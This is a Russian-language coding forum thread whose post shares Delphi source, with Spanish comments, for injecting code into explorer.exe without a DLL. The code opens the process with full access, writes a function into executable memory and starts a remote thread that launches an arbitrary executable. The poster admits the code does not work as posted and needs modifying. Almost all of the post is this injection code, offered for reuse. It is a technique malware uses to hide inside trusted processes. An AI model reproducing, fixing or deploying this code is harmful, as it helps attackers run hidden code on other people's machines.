• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Инжектим Dll Без Испольщавания Dll Delphi

  • Автор темы Автор темы Lomanu4
  • Дата начала Дата начала

Lomanu4

Команда форума
Администратор
Регистрация
1 Мар 2015
Сообщения
1,467
Баллы
155
Нашел в просторах интернета,но не работает,если скопируете,нужно чуток модифицировать,у кого будут проблемы пишите.
//DECLARACION DE LIBRERIAS / CLASES
//******************************************************************************
Interface

Uses
Winapi.Windows, TLHelp32, PsAPI, ShellAPI;
//******************************************************************************
//DECLARACION DE ESTRUCTURAS
//******************************************************************************
Type
PTINJECT = ^TINJECT;

TINJECT = Record
__ShellExecute: Function(HWND: HWND; Operation, FileName, Parameters,
Directory: PWideChar; ShowCmd: Integer): HINST; Stdcall;

cExe: Array [0 .. MAX_PATH] Of Char;
cOper: Array [0 .. MAX_PATH] Of Char;
End;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Procedure Inyectora;
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
iBuffSize: Int64): Pointer;
//******************************************************************************
Implementation
//******************************************************************************
//<--- LA FUNCION QUE VAMOS A INYECTAR --->
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Begin
tInj.__ShellExecute(0, tInj.cOper, tInj.cExe, Nil, Nil, 1);
End;
//******************************************************************************
//<--- LA FUNCION QUE OPERA LA INYECCION --->
//******************************************************************************
Procedure Inyectora;
Var
uTamFun: UINT;
dwPID: DWORD;
dwExitCode: DWORD;
hThread: THandle;
hProcess: THandle;
ptStruct: Pointer;
ptEsp: Pointer;
tProcEntry: TProcessEntry32;
tInj: TINJECT;
Begin
uTamFun := 0;
dwExitCode := 0;
hProcess := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
tProcEntry.dwSize := Sizeof(tProcEntry);

If Process32First(hProcess, tProcEntry) Then
Begin
Repeat
If tProcEntry.szExeFile = 'explorer.exe' Then
Begin
dwPID := tProcEntry.th32ProcessID;
Break;
End;
Until Not Process32Next(hProcess, tProcEntry);
End;

CloseHandle(hProcess);

// obtenemos el handle del proceso
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwPID);

// obtenemos el puntero del api
@tInj.__ShellExecute := GetProcAddress(LoadLibrary('Shell32.dll'),
'ShellExecuteW');

// copiamos los datos en las variables
lstrcpy(tInj.cExe, PChar('D:\1.exe'));
lstrcpy(tInj.cOper, PChar('open'));

// reservamos y copiamos nuestra estructura a la memoria
ptStruct := AllocAndCopyMem(hProcess, @tInj, Sizeof(TINJECT));

// calculamos el tama?o de nuestra funcion
uTamFun := UINT(@Inyectora) - UINT(@Inyectada);

// reservamos y copiamos nuestra funcion a la memoria
ptEsp := AllocAndCopyMem(hProcess, @Inyectada, uTamFun);

// creamos el hilo remoto
hThread := CreateRemoteThread(hProcess, Nil, 0, ptEsp, ptStruct, 0,
PDWORD(Nil)^);

If hThread <> 0 Then
Begin
// esperamos hasta que se cree el hilo
WaitForSingleObject(hThread, INFINITE);
// obtenemos el estado de terminacion del hilo
GetExitCodeThread(hThread, dwExitCode);
// liberamos el handle del hilo creado
CloseHandle(hThread);
// liberamos el espacio en el proceso
VirtualFreeEx(hProcess, ptStruct, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, ptEsp, 0, MEM_RELEASE);
End;

// liberamos el handle del proceso
CloseHandle(hProcess);
End;
//******************************************************************************
//<--- RESERVA ESPACIO Y ESCRIBE EN LA MEMORIA --->
//******************************************************************************
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
iBuffSize: Int64): Pointer;
Var
iBytesWritten: SIZE_T;
Begin
iBytesWritten := 0;
// reservamos espacio
Result := VirtualAllocEx(hProcess, Nil, iBuffSize, MEM_COMMIT Or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// escribimos
WriteProcessMemory(hProcess, Result, ptBuffer, iBuffSize, iBytesWritten);
End;

end.
 
Вверх Снизу